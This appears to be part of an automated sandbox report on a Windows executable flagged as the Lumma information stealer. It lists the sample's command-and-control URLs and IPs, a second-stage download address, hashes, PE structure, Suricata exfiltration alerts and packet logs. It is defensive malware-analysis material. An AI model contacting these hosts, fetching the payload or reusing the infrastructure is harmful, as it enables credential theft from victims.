crisiwarny.store	true	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://crisiwarny.store/apiAE	file.exe, 00000000.00000003.1593633698.0000000000E15000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1722535596.0000000000E15000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1724772459.0000000000E15000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000003.1517531200.0000000005608000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000003.1517531200.0000000005608000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	file.exe, 00000000.00000003.1517531200.0000000005608000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://crisiwarny.store/api/	file.exe, 00000000.00000003.1581573293.0000000000E02000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/U	file.exe, 00000000.00000002.1724682643.0000000000DF5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1722966478.0000000000DF4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1722841252.0000000000DEE000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://crisiwarny.store/e	file.exe, 00000000.00000003.1548543584.00000000055D1000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000003.1517531200.0000000005608000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.16/off/def.exeR	file.exe, 00000000.00000002.1724509005.0000000000D90000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1722621117.0000000000D90000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://crl.rootca1.amazontrust.com/rootca1.crl0	file.exe, 00000000.00000003.1549025339.00000000056DD000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000000.00000003.1517531200.0000000005608000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://ocsp.rootca1.amazontrust.com0:	file.exe, 00000000.00000003.1549025339.00000000056DD000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqX1CqX4pbW1pbWfpbZ7ReNxR3UIG8zInwYIFIVs9eYi	file.exe, 00000000.00000003.1550572571.0000000000E27000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696491991400800003.2&ci=1696491991993.	file.exe, 00000000.00000003.1550572571.0000000000E27000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.ecosia.org/newtab/	file.exe, 00000000.00000003.1517531200.0000000005608000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	file.exe, 00000000.00000003.1550224153.00000000058FA000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_15d7e4b694824b33323940336fbf0bead57d89764383fe44	file.exe, 00000000.00000003.1550572571.0000000000E27000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://ac.ecosia.org/autocomplete?q=	file.exe, 00000000.00000003.1517531200.0000000005608000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.16/	file.exe, file.exe, 00000000.00000002.1724682643.0000000000DF5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1722966478.0000000000DF4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1722841252.0000000000DEE000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://crisiwarny.store/au	file.exe, 00000000.00000003.1548543584.00000000055D1000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://crisiwarny.store/Hy	file.exe, 00000000.00000002.1724509005.0000000000DA0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1722621117.0000000000DA0000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	file.exe, 00000000.00000003.1550572571.0000000000E27000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://x1.c.lencr.org/0	file.exe, 00000000.00000003.1549025339.00000000056DD000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://x1.i.lencr.org/0	file.exe, 00000000.00000003.1549025339.00000000056DD000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	file.exe, 00000000.00000003.1517531200.0000000005608000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://crt.rootca1.amazontrust.com/rootca1.cer0?	file.exe, 00000000.00000003.1549025339.00000000056DD000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u	file.exe, 00000000.00000003.1550572571.0000000000E27000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.16/off/def.exe0	file.exe, 00000000.00000002.1724682643.0000000000DF5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1722966478.0000000000DF4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1722841252.0000000000DEE000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://crisiwarny.store/o	file.exe, 00000000.00000003.1516669230.0000000000DFE000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/off/def.exe2	file.exe, 00000000.00000002.1724682643.0000000000DF5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1722966478.0000000000DF4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1722841252.0000000000DEE000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696491991400800003.1&ci=1696491991993.12791&cta	file.exe, 00000000.00000003.1550572571.0000000000E27000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg	file.exe, 00000000.00000003.1550572571.0000000000E27000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.16/off/def.exe	file.exe, file.exe, 00000000.00000002.1724361364.0000000000C7A000.00000004.00000010.00020000.00000000.sdmp, file.exe, 00000000.00000002.1724509005.0000000000DA0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1724682643.0000000000DF5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1722966478.0000000000DF4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1722621117.0000000000DA0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1722841252.0000000000DEE000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://crisiwarny.store/	file.exe, 00000000.00000003.1581702066.0000000000E16000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1724509005.0000000000DA0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1582388699.0000000000E16000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1724509005.0000000000D90000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1516669230.0000000000DFE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1722621117.0000000000DA0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1566593101.0000000000E12000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1722621117.0000000000D90000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://support.mozilla.org/products/firefoxgro.all	file.exe, 00000000.00000003.1550224153.00000000058FA000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	file.exe, 00000000.00000003.1517531200.0000000005608000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.16/j	file.exe, 00000000.00000002.1724682643.0000000000DF5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1722966478.0000000000DF4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1722841252.0000000000DEE000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://crisiwarny.s	file.exe, 00000000.00000003.1566660244.0000000000E00000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1566909072.0000000000E02000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://crisiwarny.store/apit	file.exe, 00000000.00000003.1593633698.0000000000E15000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1722535596.0000000000E15000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1724772459.0000000000E15000.00000004.00000020.00020000.00000000.sdmp	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
104.21.95.91	crisiwarny.store	United States		13335	CLOUDFLARENETUS	true
185.215.113.16	unknown	Portugal		206894	WHOLESALECONNECTIONSNL	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1543581
Start date and time:	2024-10-28 07:17:17 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 31s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	6
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@3/2@2/2
EGA Information:	Successful, ratio: 100%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe Stop behavior analysis, all processes terminated

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
02:18:24	API Interceptor	9x Sleep call for process: file.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.21.95.91	file.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC	Browse
185.215.113.16	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16/Jo89Ku7d/index.php
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC, Amadey, AsyncRAT, LummaC Stealer, Stealc, XWorm	Browse	185.215.113.16/Jo89Ku7d/index.php
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/mine/random.exe

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
crisiwarny.store	file.exe	Get hash	malicious	LummaC	Browse	172.67.170.64
	file.exe	Get hash	malicious	LummaC	Browse	172.67.170.64
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	172.67.170.64
	file.exe	Get hash	malicious	LummaC	Browse	172.67.170.64
	file.exe	Get hash	malicious	LummaC	Browse	172.67.170.64
	file.exe	Get hash	malicious	LummaC	Browse	172.67.170.64
	file.exe	Get hash	malicious	LummaC, Amadey, AsyncRAT, LummaC Stealer, Stealc, XWorm	Browse	172.67.170.64
	file.exe	Get hash	malicious	LummaC	Browse	172.67.170.64
	file.exe	Get hash	malicious	LummaC	Browse	172.67.170.64
	file.exe	Get hash	malicious	LummaC	Browse	172.67.170.64

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	la.bot.sh4.elf	Get hash	malicious	Unknown	Browse	162.159.234.76
	RFQ_List.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.97.3
	XWe8H4gRPb.exe	Get hash	malicious	Unknown	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	172.67.170.64
	XWe8H4gRPb.exe	Get hash	malicious	Unknown	Browse	188.114.96.3
	z1RECONFIRMPAYMENTINVOICE.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	172.67.170.64
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	172.67.170.64
	file.exe	Get hash	malicious	LummaC	Browse	172.67.170.64
	AWB#21138700102.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	LummaC	Browse	104.21.95.91
	file.exe	Get hash	malicious	LummaC	Browse	104.21.95.91
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	104.21.95.91
	file.exe	Get hash	malicious	LummaC	Browse	104.21.95.91
	file.exe	Get hash	malicious	LummaC	Browse	104.21.95.91
	file.exe	Get hash	malicious	LummaC	Browse	104.21.95.91
	file.exe	Get hash	malicious	LummaC, Amadey, AsyncRAT, LummaC Stealer, Stealc, XWorm	Browse	104.21.95.91
	file.exe	Get hash	malicious	LummaC	Browse	104.21.95.91
	file.exe	Get hash	malicious	LummaC	Browse	104.21.95.91
	SecuriteInfo.com.Win32.PWSX-gen.884.23076.exe	Get hash	malicious	LummaC	Browse	104.21.95.91

Process:	C:\Users\user\AppData\Local\Temp\94JSCZGRDUWCLDEBY2HC1S58YAX1.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.360398796477698
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2ql2ABgTv:Q3La/KDLI4MWuPTAv
MD5:	3A8957C6382192B71471BD14359D0B12
SHA1:	71B96C965B65A051E7E7D10F61BEBD8CCBB88587
SHA-256:	282FBEFDDCFAA0A9DBDEE6E123791FC4B8CB870AE9D450E6394D2ACDA3D8F56D
SHA-512:	76C108641F682F785A97017728ED51565C4F74B61B24E190468E3A2843FCC43615C6C8ABE298750AF238D7A44E97C001E3BE427B49900432F905A7CE114AA9AD
Malicious:	false
Reputation:	high, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..

C:\Users\user\AppData\Local\Temp\94JSCZGRDUWCLDEBY2HC1S58YAX1.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2869760
Entropy (8bit):	6.4884400855228765
Encrypted:	false
SSDEEP:	49152:IhWttxbruHgVCMFKf5baKCnylWy2XAzI7:IgttxnuHOCpB2+Z/
MD5:	89595DF1365EF9A4D1CB06E2E56DE5E1
SHA1:	95C37D07350B2F7450337DB3E53220CE2CABD5AE
SHA-256:	A1B51F0DCC34F28AF651152B4A9A2FE4BA536FFAED6114BA46FDE1EFCA075C97
SHA-512:	4169140474D4283E78C81863A0F6B4EB9498088F2529EEAE86EB3DFB6BCF62F0B8E9735D9175E5D5CFEB0ECC819C5CAA0E306CC14F20A335779D14788343BB90
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	low
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$...........@,.. ...`....@.. ........................,......T,...`.................................U...i....`.............................................................................................................. . .@... ....... ..............@....rsrc........`.......2..............@....idata . ...........8..............@...aisygwgx..+......j+..:..............@...pdrbgaqy. ... ,.......+.............@....taggant.@...@,.."....+.............@...................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.545709289312122
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	2'958'336 bytes
MD5:	65397ed2ae0567709b177f41d0668597
SHA1:	1af8432aef5af0655dc6952fcbac893adae53880
SHA256:	ba91baa187e8253acfb92cb60be2a1c99cb9809f4156475bd12a08e6fb69ed06
SHA512:	3af631ae4012e639f38f1c87cb0cf872263628764e0530c6222a4e0d32d2d15854c359f033919dc50fd58acbd04e80663515a672da205702ffbd14975fd352a2
SSDEEP:	49152:V8KBQNfYOz+eWHpYD0POAGISGfhKyWA6k1aivflaA:VjQVYOz+eWHpYDuOvzGZvM
TLSH:	62D55CA2B50972CFD48F5778842BCD625A5E42F8072148C3EC6DB8BA7D67CC615B7C28
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...S..g.................J...........00...........@..........................`0.....m:-...@.................................T...h..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x703000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x6715D353 [Mon Oct 21 04:06:43 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FDE8C69677Ah
lar ebp, word ptr [00000000h]
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
inc ecx
push bx
dec esi
dec ebp
das
xor al, 36h
dec edi
bound ecx, dword ptr [ecx+4Ah]
dec edx
insd
push edi
dec eax
dec eax
jbe 00007FDE8C6967E2h
push esi
dec edx
popad
je 00007FDE8C6967DBh
push edx
dec esi
jc 00007FDE8C6967EAh
cmp byte ptr [ebx], dh
push edx
jns 00007FDE8C6967B7h
or eax, 49674B0Ah
cmp byte ptr [edi+43h], dl
jnc 00007FDE8C6967BDh
bound eax, dword ptr [ecx+30h]
pop edx
inc edi
push esp
push 43473163h
aaa
push edi
dec esi
xor ebp, dword ptr [ebx+59h]
push edi
push edx
pop eax
je 00007FDE8C6967C7h
xor dl, byte ptr [ebx+2Bh]
popad
jne 00007FDE8C6967BCh
dec eax
dec ebp
jo 00007FDE8C6967B3h
xor dword ptr [edi], esi
inc esp
dec edx
dec ebp
jns 00007FDE8C6967C0h
insd
jnc 00007FDE8C6967E0h
aaa
inc esp
inc ecx
inc ebx
xor dl, byte ptr [ecx+4Bh]
inc edx
inc esp
bound esi, dword ptr [ebx]
or eax, 63656B0Ah
jno 00007FDE8C6967C8h
push edx
insb
js 00007FDE8C6967E1h
outsb
inc ecx
jno 00007FDE8C6967C2h
push ebp
inc esi
pop edx
xor eax, dword ptr [ebx+36h]
push eax
aaa
imul edx, dword ptr [ebx+58h], 4Eh
aaa
inc ebx
jbe 00007FDE8C6967BCh
dec ebx
js 00007FDE8C6967B3h
jne 00007FDE8C6967A1h
push esp
inc bp
outsb
inc edx
popad
dec ebx
insd
dec ebp
inc edi
xor dword ptr [ecx+36h], esp
push 0000004Bh
sub eax, dword ptr [ebp+33h]
jp 00007FDE8C6967CCh
dec edx
xor bh, byte ptr [edx+56h]
bound eax, dword ptr [edi+66h]
jbe 00007FDE8C6967AAh
dec eax
or eax, 506C720Ah
aaa
xor dword ptr fs:[ebp+62h], ecx
arpl word ptr [esi], si
inc esp
jo 00007FDE8C6967E3h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x5a054	0x68	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x5a1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x58000	0x27e00	efa35e0841bbb55ef0f5796303f5bed5	False	0.9980101391065831	OpenPGP Secret Key	7.977471992304813	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x59000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x5a000	0x1000	0x200	555a11fa24a077379003c187d9c9d020	False	0.14453125	data	0.9996515881509258	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
jmvediaj	0x5b000	0x2a7000	0x2a6e00	8aa352c8304462f85870ff5c4f63bf83	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
famfwksn	0x302000	0x1000	0x400	aef04906b6c81ecd29322d1fc7aa9ec6	False	0.7900390625	data	6.0886251130241655	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x303000	0x3000	0x2200	a6cf53ae3735e707d835947d5fe2606f	False	0.3991268382352941	DOS executable (COM)	4.221866933034502	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-28T07:18:26.832629+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.8	49705	104.21.95.91	443	TCP
2024-10-28T07:18:26.832629+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.8	49705	104.21.95.91	443	TCP
2024-10-28T07:18:28.033097+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.8	49706	104.21.95.91	443	TCP
2024-10-28T07:18:28.033097+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.8	49706	104.21.95.91	443	TCP
2024-10-28T07:18:34.637074+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.8	49710	104.21.95.91	443	TCP
2024-10-28T07:18:41.233523+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.8	49713	104.21.95.91	443	TCP
2024-10-28T07:18:42.153886+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.8	49717	185.215.113.16	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 28, 2024 07:18:25.641866922 CET	49705	443	192.168.2.8	104.21.95.91
Oct 28, 2024 07:18:25.641918898 CET	443	49705	104.21.95.91	192.168.2.8
Oct 28, 2024 07:18:25.642023087 CET	49705	443	192.168.2.8	104.21.95.91
Oct 28, 2024 07:18:25.645504951 CET	49705	443	192.168.2.8	104.21.95.91
Oct 28, 2024 07:18:25.645522118 CET	443	49705	104.21.95.91	192.168.2.8
Oct 28, 2024 07:18:26.272556067 CET	443	49705	104.21.95.91	192.168.2.8
Oct 28, 2024 07:18:26.272742033 CET	49705	443	192.168.2.8	104.21.95.91
Oct 28, 2024 07:18:26.277087927 CET	49705	443	192.168.2.8	104.21.95.91
Oct 28, 2024 07:18:26.277101040 CET	443	49705	104.21.95.91	192.168.2.8
Oct 28, 2024 07:18:26.277420998 CET	443	49705	104.21.95.91	192.168.2.8
Oct 28, 2024 07:18:26.320808887 CET	49705	443	192.168.2.8	104.21.95.91
Oct 28, 2024 07:18:26.332398891 CET	49705	443	192.168.2.8	104.21.95.91
Oct 28, 2024 07:18:26.332417965 CET	49705	443	192.168.2.8	104.21.95.91
Oct 28, 2024 07:18:26.332531929 CET	443	49705	104.21.95.91	192.168.2.8
Oct 28, 2024 07:18:26.832643032 CET	443	49705	104.21.95.91	192.168.2.8
Oct 28, 2024 07:18:26.832765102 CET	443	49705	104.21.95.91	192.168.2.8
Oct 28, 2024 07:18:26.832824945 CET	49705	443	192.168.2.8	104.21.95.91
Oct 28, 2024 07:18:26.834434032 CET	49705	443	192.168.2.8	104.21.95.91
Oct 28, 2024 07:18:26.834434032 CET	49705	443	192.168.2.8	104.21.95.91
Oct 28, 2024 07:18:26.834450006 CET	443	49705	104.21.95.91	192.168.2.8
Oct 28, 2024 07:18:26.834461927 CET	443	49705	104.21.95.91	192.168.2.8
Oct 28, 2024 07:18:26.882766962 CET	49706	443	192.168.2.8	104.21.95.91
Oct 28, 2024 07:18:26.882802010 CET	443	49706	104.21.95.91	192.168.2.8
Oct 28, 2024 07:18:26.882896900 CET	49706	443	192.168.2.8	104.21.95.91
Oct 28, 2024 07:18:26.883184910 CET	49706	443	192.168.2.8	104.21.95.91
Oct 28, 2024 07:18:26.883200884 CET	443	49706	104.21.95.91	192.168.2.8
Oct 28, 2024 07:18:27.496179104 CET	443	49706	104.21.95.91	192.168.2.8
